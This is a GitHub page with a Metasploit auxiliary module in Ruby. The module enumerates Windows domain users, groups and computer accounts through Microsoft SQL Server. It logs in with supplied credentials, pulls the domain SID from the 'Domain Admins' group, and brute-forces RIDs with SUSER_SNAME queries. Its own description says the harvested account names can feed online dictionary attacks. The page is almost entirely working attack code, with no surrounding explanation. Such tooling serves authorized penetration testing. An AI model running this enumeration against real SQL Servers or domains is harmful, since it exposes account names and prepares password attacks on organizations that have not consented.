-
Notifications
You must be signed in to change notification settings - Fork 6
/
mssql_enum_windows_domain_accounts.rb
executable file
·267 lines (212 loc) · 7.77 KB
/
mssql_enum_windows_domain_accounts.rb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'msf/core/exploit/mssql_commands'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::MSSQL
include Msf::Auxiliary::Report
def initialize(info = {})
super(update_info(info,
'Name' => 'Microsoft SQL Server SUSER_SNAME Windows Domain Account Enumeration',
'Description' => %q{
This module can be used to brute force RIDs associated with the domain of
the SQL Server using the SUSER_SNAME function. This is similar to the
smb_lookupsid module, but executed through SQL Server queries as any user
with the PUBLIC role (everyone). Information that can be enumerated includes
Windows domain users, groups, and computer accounts. Enumerated accounts can
then be used in online dictionary attacks.
},
'Author' => [ 'nullbind <scott.sutherland[at]netspi.com>'],
'License' => MSF_LICENSE,
'References' => [[ 'URL','http://msdn.microsoft.com/en-us/library/ms174427.aspx']]
))
register_options(
[
OptInt.new('FuzzNum', [true, 'Number of principal_ids to fuzz.', 10000]),
], self.class)
end
def run
# Check connection and issue initial query
print_status("Attempting to connect to the database server at #{rhost}:#{rport} as #{datastore['USERNAME']}...")
if mssql_login_datastore
print_good('Connected.')
else
print_error('Login was unsuccessful. Check your credentials.')
disconnect
return
end
# Query for sysadmin status
print_status("Checking if #{datastore['USERNAME']} has the sysadmin role...")
user_status = check_sysadmin
# Check if user has sysadmin role
if user_status == 1
print_good("#{datastore['USERNAME']} is a sysadmin.")
else
print_status("#{datastore['USERNAME']} is NOT a sysadmin.")
end
# Get the server name
sql_server_name = get_sql_server_name
print_status("SQL Server Name: #{sql_server_name}")
# Get the domain name
sql_server_domain = get_windows_domain
if sql_server_domain.nil?
print_error("Could not recover the SQL Server's domain.")
disconnect
return
else
print_status("Domain Name: #{sql_server_domain}")
end
# Check if the domain and hostname are the same
if sql_server_name == sql_server_domain
print_error("The SQL Server does not appear to be part of a Windows domain.")
disconnect
return
end
# Get the base sid for the domain
windows_domain_sid = get_windows_domain_sid(sql_server_domain)
if windows_domain_sid.nil?
print_error("Could not recover the SQL Server's domain sid.")
disconnect
return
else
print_good("Found the domain sid: #{windows_domain_sid}")
end
# Get a list of windows users, groups, and computer accounts using SUSER_NAME()
print_status("Brute forcing #{datastore['FuzzNum']} RIDs through the SQL Server, be patient...")
win_domain_user_list = get_win_domain_users(windows_domain_sid)
if win_domain_user_list.nil? || win_domain_user_list.empty?
print_error('Sorry, no Windows domain accounts were found, or DC could not be contacted.')
disconnect
return
else
# Print number of objects found and write to a file
print_good("#{win_domain_user_list.length} user accounts, groups, and computer accounts were found.")
win_domain_user_list.sort.each do |windows_login|
if datastore['VERBOSE']
print_status(" - #{windows_login}")
end
end
# Create table for report
windows_domain_login_table = Rex::Ui::Text::Table.new(
'Header' => 'Windows Domain Accounts',
'Ident' => 1,
'Columns' => ['name']
)
# Add brute forced names to table
win_domain_user_list.each do |object_name|
windows_domain_login_table << [object_name]
end
# Create output file
this_service = nil
if framework.db and framework.db.active
this_service = report_service(
:host => rhost,
:port => rport,
:name => 'mssql',
:proto => 'tcp'
)
end
filename= "#{datastore['RHOST']}-#{datastore['RPORT']}_windows_domain_accounts.csv"
path = store_loot("windows_domain_accounts", "text/plain", datastore['RHOST'], windows_domain_login_table.to_csv, filename, "SQL Server query results",this_service)
print_status("Query results have been saved to: #{path}")
end
disconnect
end
# Checks if user is a sysadmin
def check_sysadmin
# Setup query to check for sysadmin
sql = "select is_srvrolemember('sysadmin') as IsSysAdmin"
# Run query
result = mssql_query(sql)
# Parse query results
parse_results = result[:rows]
status = parse_results[0][0]
# Return status
return status
end
# Get list of windows accounts,groups,and computer accounts
def get_win_domain_users(windows_domain_sid)
# Create array to store the windws accounts etc
windows_logins = []
# Fuzz the principal_id parameter passed to the SUSER_NAME function
(500..datastore['FuzzNum']).each do |principal_id|
# Convert number to hex and fix order
principal_id_hex = "%02X" % principal_id
principal_id_hex_pad = (principal_id_hex.size.even? ? principal_id_hex : ("0"+ principal_id_hex))
principal_id_clean = principal_id_hex_pad.scan(/(..)/).reverse.flatten.join
# Add padding
principal_id_hex_padded2 = principal_id_clean.ljust(8, '0')
# Create full sid
win_sid = "0x#{windows_domain_sid}#{principal_id_hex_padded2}"
# Return if sid does not resolve correctly for a domain
if win_sid.length < 48
return nil
end
# Setup query
sql = "SELECT SUSER_SNAME(#{win_sid}) as name"
# Execute query
result = mssql_query(sql)
# Parse results
parse_results = result[:rows]
windows_login = parse_results[0][0]
# Print account,group,or computer account etc
if windows_login.length != 0
print_status(" - #{windows_login}")
# Verbose output
if datastore['VERBOSE']
print_status("Test sid: #{win_sid}")
end
end
# Add to windows domain object list
windows_logins.push(windows_login) unless windows_logins.include?(windows_login)
end
# Return list of logins
windows_logins
end
# Get windows domain
def get_windows_domain
# Setup query to check for sysadmin
sql = "SELECT DEFAULT_DOMAIN() as mydomain"
# Run query
result = mssql_query(sql)
# Parse query results
parse_results = result[:rows]
sql_server_domain = parse_results[0][0]
# Return domain
sql_server_domain
end
# Get the sql server's hostname
def get_sql_server_name
# Setup query to check for sysadmin
sql = "SELECT @@servername"
# Run query
result = mssql_query(sql)
# Parse query results
parse_results = result[:rows]
sql_instance_name = parse_results[0][0]
sql_server_name = sql_instance_name.split('\\')[0]
# Return servername
sql_server_name
end
# Get windows domain
def get_windows_domain_sid(sql_server_domain)
# Set group
domain_group = "#{sql_server_domain}\\Domain Admins"
# Setup query to check for sysadmin
sql = "select SUSER_SID('#{domain_group}') as dasid"
# Run query
result = mssql_query(sql)
# Parse query results
parse_results = result[:rows]
object_sid = parse_results[0][0]
domain_sid = object_sid[0..47]
# Return if sid does not resolve for a domain
if domain_sid.length == 0
return nil
end
# Return domain sid
domain_sid
end
end